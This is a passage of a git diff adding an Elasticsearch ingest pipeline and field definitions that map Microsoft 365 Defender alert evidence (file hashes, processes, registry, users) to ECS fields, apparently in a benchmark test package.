+      tag: foreach_evidence_append_imagefile_sha1_into_process_hash_sha1
+      if: ctx.json?.evidence instanceof List
+      processor:
+        append:
+          field: process.hash.sha1
+          tag: append_foreach_evidence_imagefile_sha1_into_process_hash_sha1
+          value: '{{{_ingest._value.image_file.sha1}}}'
+          allow_duplicates: false
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_append_imagefile_sha1_into_related_hash
+      if: ctx.json?.evidence instanceof List
+      processor:
+        append:
+          field: related.hash
+          tag: append_foreach_evidence_imagefile_sha1_into_related_hash
+          value: '{{{_ingest._value.image_file.sha1}}}'
+          allow_duplicates: false
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_imagefile_sha256
+      if: ctx.json?.evidence instanceof List
+      processor:
+        rename:
+          field: _ingest._value.imageFile.sha256
+          tag: foreach_evidence_rename_imagefile_sha256
+          target_field: _ingest._value.image_file.sha256
+          ignore_missing: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_append_imagefile_sha256_into_process_hash_sha256
+      if: ctx.json?.evidence instanceof List
+      processor:
+        append:
+          field: process.hash.sha256
+          tag: append_foreach_evidence_imagefile_sha256_into_process_hash_sha256
+          value: '{{{_ingest._value.image_file.sha256}}}'
+          allow_duplicates: false
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_imagefile_sha256_into_related_hash
+      if: ctx.json?.evidence instanceof List
+      processor:
+        append:
+          field: related.hash
+          tag: append_foreach_evidence_imagefile_sha256_into_related_hash
+          value: '{{{_ingest._value.image_file.sha256}}}'
+          allow_duplicates: false
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_dot_expander_parentProcessImageFile
+      if: ctx.json?.evidence instanceof List
+      processor:
+        dot_expander:
+          field: '@odata.type'
+          path: _ingest._value.parentProcessImageFile
+          ignore_failure: true
+          override: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_rename_parentProcessImageFile_@odata_type
+      if: ctx.json?.evidence instanceof List
+      processor:
+        rename:
+          field: _ingest._value.parentProcessImageFile.@odata.type
+          tag: rename_foreach_evidence_parentProcessImageFile_@odata_type
+          target_field: _ingest._value.parent_process.image_file.odata_type
+          ignore_missing: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_rename_parentProcessImageFile_sha1
+      if: ctx.json?.evidence instanceof List
+      processor:
+        rename:
+          field: _ingest._value.parentProcessImageFile.sha1
+          tag: rename_foreach_evidence_parentProcessImageFile_sha1
+          target_field: _ingest._value.parent_process.image_file.sha1
+          ignore_missing: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_append_parentProcessImageFile_sha1_into_process_parent_hash_sha1
+      if: ctx.json?.evidence instanceof List
+      processor:
+        append:
+          field: process.parent.hash.sha1
+          tag: append_foreach_evidence_parentProcessImageFile_sha1_into_process_parent_hash_sha1
+          value: '{{{_ingest._value.parent_process.image_file.sha1}}}'
+          allow_duplicates: false
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_append_parentProcessImageFile_sha1_into_related_hash
+      if: ctx.json?.evidence instanceof List
+      processor:
+        append:
+          field: related.hash
+          tag: append_foreach_evidence_parentProcessImageFile_sha1_into_related_hash
+          value: '{{{_ingest._value.parent_process.image_file.sha1}}}'
+          allow_duplicates: false
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_rename_parentProcessImageFile_sha256
+      if: ctx.json?.evidence instanceof List
+      processor:
+        rename:
+          field: _ingest._value.parentProcessImageFile.sha256
+          tag: rename_foreach_evidence_parentProcessImageFile_sha256
+          target_field: _ingest._value.parent_process.image_file.sha256
+          ignore_missing: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_append_parentProcessImageFile_sha256_into_process_parent_hash_sha256
+      if: ctx.json?.evidence instanceof List
+      processor:
+        append:
+          field: process.parent.hash.sha256
+          tag: append_foreach_evidence_parentProcessImageFile_sha256_into_process_parent_hash_sha256
+          value: '{{{_ingest._value.parent_process.image_file.sha256}}}'
+          allow_duplicates: false
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_append_parentProcessImageFile_sha256_into_related_hash
+      if: ctx.json?.evidence instanceof List
+      processor:
+        append:
+          field: related.hash
+          tag: append_foreach_evidence_parentProcessImageFile_sha256_into_related_hash
+          value: '{{{_ingest._value.parent_process.image_file.sha256}}}'
+          allow_duplicates: false
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_convert_parentProcessId
+      if: ctx.json?.evidence instanceof List
+      processor:
+        convert:
+          field: _ingest._value.parentProcessId
+          tag: convert_foreach_evidence_parentProcessId
+          target_field: _ingest._value.parent_process.id
+          type: long
+          ignore_missing: true
+          on_failure:
+            - remove:
+                field: _ingest._value.parentProcessId
+            - append:
+                field: error.message
+                value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_date_parentProcessCreationDateTime
+      if: ctx.json?.evidence instanceof List
+      processor:
+        date:
+          field: _ingest._value.parentProcessCreationDateTime
+          tag: date_foreach_evidence_parentProcessCreationDateTime
+          target_field: _ingest._value.parent_process.creation_datetime
+          formats:
+            - ISO8601
+          on_failure:
+            - remove:
+                field: _ingest._value.parentProcessCreationDateTime
+                ignore_missing: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_append_parentProcessCreationDateTime
+      if: ctx.json?.evidence instanceof List
+      processor:
+        append:
+          field: process.parent.start
+          tag: append_foreach_evidence_parentProcessCreationDateTime
+          value: '{{{_ingest._value.parent_process.creation_datetime}}}'
+          allow_duplicates: false
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_convert_processId
+      if: ctx.json?.evidence instanceof List
+      processor:
+        convert:
+          field: _ingest._value.processId
+          tag: convert_foreach_evidence_processId
+          target_field: _ingest._value.process.id
+          type: long
+          ignore_missing: true
+          on_failure:
+            - remove:
+                field: _ingest._value.processId
+            - append:
+                field: error.message
+                value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_date_processCreationDateTime
+      if: ctx.json?.evidence instanceof List
+      processor:
+        date:
+          field: _ingest._value.processCreationDateTime
+          tag: date_foreach_evidence_processCreationDateTime
+          target_field: _ingest._value.process.creation_datetime
+          formats:
+            - ISO8601
+          on_failure:
+            - remove:
+                field: _ingest._value.processCreationDateTime
+                ignore_missing: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_append_processCreationDateTime
+      if: ctx.json?.evidence instanceof List
+      processor:
+        append:
+          field: process.start
+          tag: append_foreach_evidence_processCreationDateTime
+          value: '{{{_ingest._value.process.creation_datetime}}}'
+          allow_duplicates: false
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_process_name
+      if: ctx.json?.evidence instanceof List
+      processor:
+        append:
+          field: process.name
+          tag: append_evidence_imageFile_to_process_name
+          value: '{{{_ingest._value.imageFile.fileName}}}'
+          allow_duplicates: false
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_rename_imageFile_filename
+      if: ctx.json?.evidence instanceof List
+      processor:
+        rename:
+          field: _ingest._value.imageFile.fileName
+          tag: rename_foreach_evidence_imageFile_filename
+          target_field: _ingest._value.image_file.name
+          ignore_missing: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_rename_imageFile_filepath
+      if: ctx.json?.evidence instanceof List
+      processor:
+        rename:
+          field: _ingest._value.imageFile.filePath
+          tag: rename_foreach_evidence_imageFile_filepath
+          target_field: _ingest._value.image_file.path
+          ignore_missing: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_rename_imageFile_filePublisher
+      if: ctx.json?.evidence instanceof List
+      processor:
+        rename:
+          field: _ingest._value.imageFile.filePublisher
+          tag: rename_foreach_evidence_imageFile_filePublisher
+          target_field: _ingest._value.image_file.publisher
+          ignore_missing: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_convert_imagefile_filesize
+      if: ctx.json?.evidence instanceof List
+      processor:
+        convert:
+          field: _ingest._value.imageFile.fileSize
+          tag: convert_foreach_evidence_imagefile_filesize
+          target_field: _ingest._value.image_file.size
+          type: long
+          ignore_missing: true
+          on_failure:
+            - remove:
+                field: _ingest._value.imageFile.fileSize
+            - append:
+                field: error.message
+                value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_rename_imagefile_issuer
+      if: ctx.json?.evidence instanceof List
+      processor:
+        rename:
+          field: _ingest._value.imageFile.issuer
+          tag: rename_foreach_evidence_imagefile_issuer
+          target_field: _ingest._value.image_file.issuer
+          ignore_missing: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_rename_imageFile_signer
+      if: ctx.json?.evidence instanceof List
+      processor:
+        rename:
+          field: _ingest._value.imageFile.signer
+          tag: rename_foreach_evidence_imageFile_signer
+          target_field: _ingest._value.image_file.signer
+          ignore_missing: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_rename_parentProcessImageFile_filename
+      if: ctx.json?.evidence instanceof List
+      processor:
+        rename:
+          field: _ingest._value.parentProcessImageFile.fileName
+          tag: rename_foreach_evidence_parentProcessImageFile_filename
+          target_field: _ingest._value.parent_process.image_file.name
+          ignore_missing: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_parentProcessImageFile_filepath
+      if: ctx.json?.evidence instanceof List
+      processor:
+        rename:
+          field: _ingest._value.parentProcessImageFile.filePath
+          tag: rename_foreach_evidence_parentProcessImageFile_filepath
+          target_field: _ingest._value.parent_process.image_file.path
+          ignore_missing: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_rename_parentProcessImageFile_filepublisher
+      if: ctx.json?.evidence instanceof List
+      processor:
+        rename:
+          field: _ingest._value.parentProcessImageFile.filePublisher
+          tag: rename_foreach_evidence_parentProcessImageFile_filepublisher
+          target_field: _ingest._value.parent_process.image_file.publisher
+          ignore_missing: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_convert_parentProcessImageFile_filesize
+      if: ctx.json?.evidence instanceof List
+      processor:
+        convert:
+          field: _ingest._value.parentProcessImageFile.fileSize
+          tag: convert_foreach_evidence_parentProcessImageFile_filesize
+          target_field: _ingest._value.parent_process.image_file.size
+          type: long
+          ignore_missing: true
+          on_failure:
+            - remove:
+                field: _ingest._value.parentProcessImageFile.fileSize
+            - append:
+                field: error.message
+                value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_rename_parentProcessImageFile_issuer
+      if: ctx.json?.evidence instanceof List
+      processor:
+        rename:
+          field: _ingest._value.parentProcessImageFile.issuer
+          tag: rename_foreach_evidence_parentProcessImageFile_issuer
+          target_field: _ingest._value.parent_process.image_file.issuer
+          ignore_missing: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_rename_parentProcessImageFile_signer
+      if: ctx.json?.evidence instanceof List
+      processor:
+        rename:
+          field: _ingest._value.parentProcessImageFile.signer
+          tag: rename_foreach_evidence_parentProcessImageFile_signer
+          target_field: _ingest._value.parent_process.image_file.signer
+          ignore_missing: true
+  - script:
+      description: Set process and file ECS fields from evidence (executables, pids, file size).
+      tag: script_set_process_fields_from_evidence
+      lang: painless
+      if: ctx.json?.evidence instanceof List
+      source: |
+        def convertToOrderedArray(def list) {
+          def result = new ArrayList();
+          for (element in list) {
+            result.add(element);
+          }
+          Collections.sort(result);
+          return result;
+        }
+
+        String joinPathAndName(String path, String name) {
+          if (path == null || name == null) {
+            return null;
+          }
+          String separator = path.contains("\\") ? "\\" : "/";
+          if (!path.endsWith(separator)) {
+            path = path + separator;
+          }
+          return path + name;
+        }
+
+        void maybeAddExecutable(def destination, def imageFile) {
+          if (imageFile == null) {
+            return;
+          }
+          if (imageFile?.path != null && imageFile?.name != null) {
+            destination.add(joinPathAndName(imageFile.path, imageFile.name));
+          } else if (imageFile?.name != null) {
+            destination.add(imageFile.name);
+          }
+        }
+
+        def processExecutable = new HashSet();
+        def processParentExecutable = new HashSet();
+        def fileSize = new HashSet();
+        def processPid = new HashSet();
+        def processParentPid = new HashSet();
+
+        for (evidence in ctx.json.evidence) {
+          maybeAddExecutable(processExecutable, evidence?.image_file);
+          maybeAddExecutable(processParentExecutable, evidence?.parent_process?.image_file);
+
+          if (evidence?.odata_type == null) {
+            continue;
+          }
+          if (evidence.odata_type == '#microsoft.graph.security.fileEvidence') {
+            if (evidence?.file_details?.size != null) {
+              fileSize.add(evidence.file_details.size);
+            }
+          } else if (evidence.odata_type == '#microsoft.graph.security.processEvidence') {
+            if (evidence?.process?.id != null) {
+              processPid.add(evidence.process.id);
+            }
+            if (evidence?.parent_process?.id != null) {
+              processParentPid.add(evidence.parent_process.id);
+            }
+          }
+        }
+
+        ctx.file = ctx.file ?: [:];
+        ctx.process = ctx.process ?: [:];
+        ctx.process.parent = ctx.process.parent ?: [:];
+
+        if (!fileSize.isEmpty()) {
+          ctx.file.size = convertToOrderedArray(fileSize);
+        }
+        if (!processPid.isEmpty()) {
+          ctx.process.pid = convertToOrderedArray(processPid);
+        }
+        if (!processParentPid.isEmpty()) {
+          ctx.process.parent.pid = convertToOrderedArray(processParentPid);
+        }
+        if (!processExecutable.isEmpty()) {
+          def execList = new ArrayList(processExecutable);
+          if (execList.size() == 1) {
+            ctx.process.executable = execList.get(0);
+          } else {
+            ctx.process.executable = execList;
+          }
+        }
+        if (!processParentExecutable.isEmpty()) {
+          def execList = new ArrayList(processParentExecutable);
+          if (execList.size() == 1) {
+            ctx.process.parent.executable = execList.get(0);
+          } else {
+            ctx.process.parent.executable = execList;
+          }
+        }
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_rename_registryHive
+      if: ctx.json?.evidence instanceof List
+      processor:
+        rename:
+          field: _ingest._value.registryHive
+          tag: rename_foreach_evidence_registryHive
+          target_field: _ingest._value.registry_hive
+          ignore_missing: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_append_registryHive
+      if: ctx.json?.evidence instanceof List
+      processor:
+        append:
+          field: registry.hive
+          tag: append_foreach_evidence_registryHive
+          value: '{{{_ingest._value.registry_hive}}}'
+          allow_duplicates: false
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_rename_registryKey
+      if: ctx.json?.evidence instanceof List
+      processor:
+        rename:
+          field: _ingest._value.registryKey
+          tag: rename_foreach_evidence_registryKey
+          target_field: _ingest._value.registry_key
+          ignore_missing: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_append_registryKey
+      if: ctx.json?.evidence instanceof List
+      processor:
+        append:
+          field: registry.key
+          tag: append_foreach_evidence_registryKey
+          value: '{{{_ingest._value.registry_key}}}'
+          allow_duplicates: false
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_rename_registryValueType
+      if: ctx.json?.evidence instanceof List
+      processor:
+        rename:
+          field: _ingest._value.registryValueType
+          tag: rename_foreach_evidence_registryValueType
+          target_field: _ingest._value.registry_value_type
+          ignore_missing: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_append_registryValueType
+      if: ctx.json?.evidence instanceof List
+      processor:
+        append:
+          field: registry.data.type
+          tag: append_foreach_evidence_registryValueType
+          value: '{{{_ingest._value.registry_value_type}}}'
+          allow_duplicates: false
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_rename_registryValue
+      if: ctx.json?.evidence instanceof List
+      processor:
+        rename:
+          field: _ingest._value.registryValue
+          tag: rename_foreach_evidence_registryValue
+          target_field: _ingest._value.registry_value
+          ignore_missing: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_append_registryValue
+      if: ctx.json?.evidence instanceof List
+      processor:
+        append:
+          field: registry.value
+          tag: append_foreach_evidence_registryValue
+          value: '{{{_ingest._value.registry_value}}}'
+          allow_duplicates: false
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_rename_registryValueName
+      if: ctx.json?.evidence instanceof List
+      processor:
+        rename:
+          field: _ingest._value.registryValueName
+          tag: rename_foreach_evidence_registryValueName
+          target_field: _ingest._value.registry_value_name
+          ignore_missing: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_rename_securityGroupId
+      if: ctx.json?.evidence instanceof List
+      processor:
+        rename:
+          field: _ingest._value.securityGroupId
+          tag: rename_foreach_evidence_securityGroupId
+          target_field: _ingest._value.security_group_id
+          ignore_missing: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_append_securityGroupId
+      if: ctx.json?.evidence instanceof List
+      processor:
+        append:
+          field: group.id
+          tag: append_foreach_evidence_securityGroupId
+          value: '{{{_ingest._value.security_group_id}}}'
+          allow_duplicates: false
+  - script:
+      description: Map ecs fields based on evidence type.
+      tag: script_to_map_evidence_ecs_fields
+      lang: painless
+      if: ctx.json?.evidence instanceof List
+      source: |
+        def convertToOrderedArray(def list) {
+          def result = new ArrayList();
+          for (element in list) {
+            result.add(element);
+          }
+          Collections.sort(result);
+          return result;
+        }
+        if (!(ctx.cloud instanceof HashMap)) {
+          ctx.cloud = new HashMap();
+        }
+        def cloudProvider = new HashSet();
+        if (!(ctx.group instanceof HashMap)) {
+          ctx.group = new HashMap();
+        }
+        def groupName = new HashSet();
+        if (!(ctx.host instanceof HashMap)) {
+          ctx.host = new HashMap();
+        }
+        def hostId = new HashSet();
+        if (!(ctx.user instanceof HashMap)) {
+          ctx.user = new HashMap();
+        }
+        def userDomain = new HashSet();
+        def userId = new HashSet();
+        def userName = new HashSet();
+        def userEmail = new HashSet();
+        if (!(ctx.process instanceof HashMap)) {
+          ctx.process = new HashMap();
+        }
+        ctx.process.user = new HashMap();
+        def processUserId = new HashSet();
+        def processUserName = new HashSet();
+        for (evidence in ctx.json.evidence) {
+          if (evidence?.odata_type == null) {
+            continue
+          }
+          if (evidence?.odata_type == '#microsoft.graph.security.securityGroupEvidence') {
+            if (evidence?.display_name != null) {
+              groupName.add(evidence.display_name);
+            }
+          }
+          if (evidence?.odata_type == '#microsoft.graph.security.deviceEvidence') {
+            if (evidence?.mde_device_id != null) {
+              hostId.add(evidence.mde_device_id);
+            }
+          }
+          if (['#microsoft.graph.security.mailboxEvidence', '#microsoft.graph.security.userEvidence'].contains(evidence.odata_type)) {
+            if (evidence?.user_account?.domain_name != null) {
+              userDomain.add(evidence.user_account.domain_name);
+            }
+            if (evidence?.user_account?.azure_ad_user_id != null) {
+              userId.add(evidence.user_account.azure_ad_user_id);
+            }
+            if (evidence?.user_account?.user_principal_name != null) {
+              userEmail.add(evidence.user_account.user_principal_name);
+            }
+            if (evidence?.user_account?.account_name != null) {
+              userName.add(evidence.user_account.account_name);
+            }
+          }
+          if (evidence?.odata_type == '#microsoft.graph.security.processEvidence') {
+            if (evidence?.user_account?.azure_ad_user_id != null) {
+              processUserId.add(evidence.user_account.azure_ad_user_id);
+            }
+            if (evidence?.user_account?.account_name != null) {
+              processUserName.add(evidence.user_account.account_name);
+            }
+          }
+          if (evidence?.vm_metadata?.cloud_provider != null && evidence.vm_metadata.cloud_provider.toLowerCase() == 'azure') {
+            cloudProvider.add('azure');
+          }
+        }
+        if (!cloudProvider.isEmpty()) {
+          ctx.cloud.provider = convertToOrderedArray(cloudProvider);
+        }
+        if (!groupName.isEmpty()) {
+          ctx.group.name = convertToOrderedArray(groupName);
+        }
+        if (!hostId.isEmpty()) {
+          ctx.host.id = convertToOrderedArray(hostId);
+        }
+        if (!userDomain.isEmpty()) {
+          ctx.user.domain = convertToOrderedArray(userDomain);
+        }
+        if (!userId.isEmpty()) {
+          ctx.user.id = convertToOrderedArray(userId);
+        }
+        if (!userName.isEmpty()) {
+          ctx.user.name = convertToOrderedArray(userName);
+        }
+        if (!userEmail.isEmpty()) {
+          ctx.user.email = convertToOrderedArray(userEmail);
+        }
+        if (!processUserId.isEmpty()) {
+          ctx.process.user.id = convertToOrderedArray(processUserId);
+        }
+        if (!processUserName.isEmpty()) {
+          ctx.process.user.name = convertToOrderedArray(processUserName);
+        }
+  - foreach:
+      field: process.pid
+      tag: foreach_process_pid
+      if: ctx.process?.pid instanceof List
+      processor:
+        append:
+          field: process.entity_id
+          tag: append_process_pid_to_entity_id
+          value: '{{{_ingest._value}}}'
+          allow_duplicates: false
+  - foreach:
+      field: process.parent.pid
+      tag: foreach_process_parent_pid
+      if: ctx.process?.parent?.pid instanceof List
+      processor:
+        append:
+          field: process.parent.entity_id
+          tag: append_process_parent_pid_to_entity_id
+          value: '{{{_ingest._value}}}'
+          allow_duplicates: false
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_remove_fields
+      if: ctx.json?.evidence instanceof List
+      processor:
+        remove:
+          field:
+            - _ingest._value.createdDateTime
+            - _ingest._value.receivedDateTime
+            - _ingest._value.attachmentsCount
+            - _ingest._value.firstSeenDateTime
+            - _ingest._value.parentProcessCreationDateTime
+            - _ingest._value.processCreationDateTime
+            - _ingest._value.senderIp
+            - _ingest._value.urlCount
+            - _ingest._value.instanceId
+            - _ingest._value.appId
+            - _ingest._value.saasAppId
+            - _ingest._value.osBuild
+            - _ingest._value.rbacGroupId
+            - _ingest._value.fileDetails.fileSize
+            - _ingest._value.ipAddress
+            - _ingest._value.emailCount
+            - _ingest._value.parentProcessId
+            - _ingest._value.processId
+            - _ingest._value.imageFile.fileSize
+            - _ingest._value.parentProcessImageFile.fileSize
+            - _ingest._value.internetMessageId
+            - _ingest._value.networkMessageId
+          ignore_missing: true
+  - rename:
+      field: json.evidence
+      tag: rename_evidence
+      target_field: m365_defender.alert.evidence
+      ignore_missing: true
+  - remove:
+      if: ctx.tags == null || !(ctx.tags.contains('preserve_duplicate_custom_fields'))
+      tag: remove_ecs_duplicate_fields
+      field:
+        - m365_defender.alert.last_update_datetime
+        - m365_defender.alert.description
+        - m365_defender.alert.created_datetime
+        - m365_defender.alert.last_activity_datetime
+        - m365_defender.alert.id
+        - m365_defender.alert.service_source
+        - m365_defender.alert.first_activity_datetime
+        - m365_defender.alert.web_url
+        - m365_defender.alert.assigned_to
+        - m365_defender.alert.category
+        - m365_defender.alert.mitre_techniques
+        - m365_defender.alert.tenant_id
+      ignore_missing: true
+  - foreach:
+      field: m365_defender.alert.evidence
+      tag: remove_foreach_ecs_duplicate_fields
+      if: ctx.m365_defender?.alert?.evidence instanceof List && (ctx.tags == null || !(ctx.tags.contains('preserve_duplicate_custom_fields')))
+      processor:
+        remove:
+          field:
+            - _ingest._value.ip_address
+            - _ingest._value.detection_status
+            - _ingest._value.received_datetime
+            - _ingest._value.antispam_direction
+            - _ingest._value.subject
+            - _ingest._value.recipient_email_address
+            - _ingest._value.instance_id
+            - _ingest._value.instance_name
+            - _ingest._value.vm_metadata.cloud_provider
+            - _ingest._value.os_platform
+            - _ingest._value.version
+            - _ingest._value.file_details.sha1
+            - _ingest._value.file_details.sha256
+            - _ingest._value.file_details.name
+            - _ingest._value.file_details.path
+            - _ingest._value.file_details.size
+            - _ingest._value.process.command_line
+            - _ingest._value.image_file.sha1
+            - _ingest._value.image_file.sha256
+            - _ingest._value.parent_process.image_file.sha1
+            - _ingest._value.parent_process.image_file.sha256
+            - _ingest._value.parent_process.id
+            - _ingest._value.parent_process.creation_datetime
+            - _ingest._value.process.id
+            - _ingest._value.process.creation_datetime
+            - _ingest._value.registry_value_type
+            - _ingest._value.registry_hive
+            - _ingest._value.registry_key
+            - _ingest._value.registry_value
+            - _ingest._value.security_group_id
+          ignore_missing: true
+  - script:
+      lang: painless
+      tag: set_process_name_from_command_line
+      description: Set process.name from process.command_line.
+      if: ctx.process?.name == null
+      source: |
+        ctx.process = ctx.process ?: [:];
+        ctx.process.name = ctx.process.name ?: [];
+        // Normalize process.name to a list
+        def nameList = [];
+        if (ctx.process.name != null) {
+          if (ctx.process.name instanceof String) {
+            nameList.add(ctx.process.name);
+          } else if (ctx.process.name instanceof List) {
+            nameList.addAll(ctx.process.name);
+          }
+        }
+
+        // Deduplication using HashSet
+        def currentNames = new HashSet();
+        currentNames.addAll(nameList);
+        // Handle process.command_line (string or list)
+        if (ctx.process.command_line != null) {
+          // Convert string to list for unified handling
+          def cmdList = [];
+          if (ctx.process.command_line instanceof String) {
+            cmdList.add(ctx.process.command_line);
+          } else if (ctx.process.command_line instanceof List) {
+            cmdList.addAll(ctx.process.command_line);
+          }
+          for (cmd in cmdList) {
+            if (cmd != null && cmd.length() > 0) {
+              // Extract the first token
+              def parts = cmd.trim().splitOnToken(" ");
+              if (parts.length > 0) {
+                def executable = parts[0];
+                // If executable is a path, take only the last part
+                if (executable.contains("/")) {
+                  def slashParts = executable.splitOnToken("/");
+                  executable = slashParts[slashParts.length - 1];
+                }
+                executable = /\"/.matcher(executable).replaceAll("");
+                currentNames.add(executable);
+              }
+            }
+          }
+        }
+        // Update process.name with unique list
+        if (currentNames != null && currentNames.size() == 1) {
+          ctx.process.name = currentNames.iterator().next();
+        } else {
+          ctx.process.name = new ArrayList(currentNames);
+        }
+      on_failure:
+        - append:
+            tag: append_error_message_2b136ec5
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - remove:
+      field: json
+      tag: remove_json
+      ignore_missing: true
+  - script:
+      tag: script_to_drop_null_values
+      lang: painless
+      source: |-
+        boolean drop(Object object) {
+          if (object == null || object == '') {
+            return true;
+          } else if (object instanceof Map) {
+            ((Map) object).values().removeIf(v -> drop(v));
+            return (((Map) object).size() == 0);
+          } else if (object instanceof List) {
+            ((List) object).removeIf(v -> drop(v));
+            return (((List) object).length == 0);
+          }
+          return false;
+        }
+        drop(ctx);
+      description: Drops null/empty values recursively.
+      on_failure:
+        - append:
+            tag: append_error_message_0886867f
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - append:
+      tag: append_event_kind_d2f25e35
+      field: event.kind
+      value: pipeline_error
+      allow_duplicates: false
+      if: ctx.error?.message != null
+  - append:
+      tag: append_tags_9fe66b2c
+      field: tags
+      value: preserve_original_event
+      allow_duplicates: false
+      if: ctx.error?.message != null
+on_failure:
+  - append:
+      field: error.message
+      value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - set:
+      field: event.kind
+      value: pipeline_error
+  - append:
+      field: tags
+      value: preserve_original_event
+      allow_duplicates: false
diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/fields/base-fields.yml b/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/fields/base-fields.yml
similarity index 89%
rename from test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/fields/base-fields.yml
rename to test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/fields/base-fields.yml
index 362c84bcef..bbcb02bdd7 100644
--- a/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/fields/base-fields.yml
+++ b/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/fields/base-fields.yml
@@ -10,11 +10,11 @@
 - name: event.module
   type: constant_keyword
   description: Event module.
-  value: multi_deployer
+  value: m365_defender
 - name: event.dataset
   type: constant_keyword
   description: Event dataset.
-  value: multi_deployer.httpjson
+  value: m365_defender.alert
 - name: '@timestamp'
   type: date
   description: Event timestamp.
diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/fields/beats.yml b/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/fields/beats.yml
new file mode 100644
index 0000000000..4084f1dc7f
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/fields/beats.yml
@@ -0,0 +1,6 @@
+- name: input.type
+  type: keyword
+  description: Type of filebeat input.
+- name: log.offset
+  type: long
+  description: Log offset.
diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/fields/fields.yml b/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/fields/fields.yml
new file mode 100644
index 0000000000..071b21fc9c
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/fields/fields.yml
@@ -0,0 +1,506 @@
+- name: m365_defender.alert
+  type: group
+  fields:
+    - name: actor_display_name
+      type: keyword
+      description: The adversary or activity group that is associated with this alert.
+    - name: assigned_to
+      type: keyword
+      description: Owner of the alert, or null if no owner is assigned.
+    - name: category
+      type: keyword
+      description: The attack kill-chain category that the alert belongs to. Aligned with the MITRE ATT&CK framework.
+    - name: classification
+      type: keyword
+      description: 'Specifies whether the alert represents a true threat. Possible values are: unknown, falsePositive, truePositive, benignPositive, unknownFutureValue.'
+    - name: comments
+      type: flattened
+      description: Array of comments created by the Security Operations (SecOps) team during the alert management process.
+    - name: created_datetime
+      type: date
+      description: Time when Microsoft 365 Defender created the alert.
+    - name: description
+      type: keyword
+      description: String value describing each alert.
+    - name: detection_source
+      type: keyword
+      description: Detection technology or sensor that identified the notable component or activity.
+    - name: detector_id
+      type: keyword
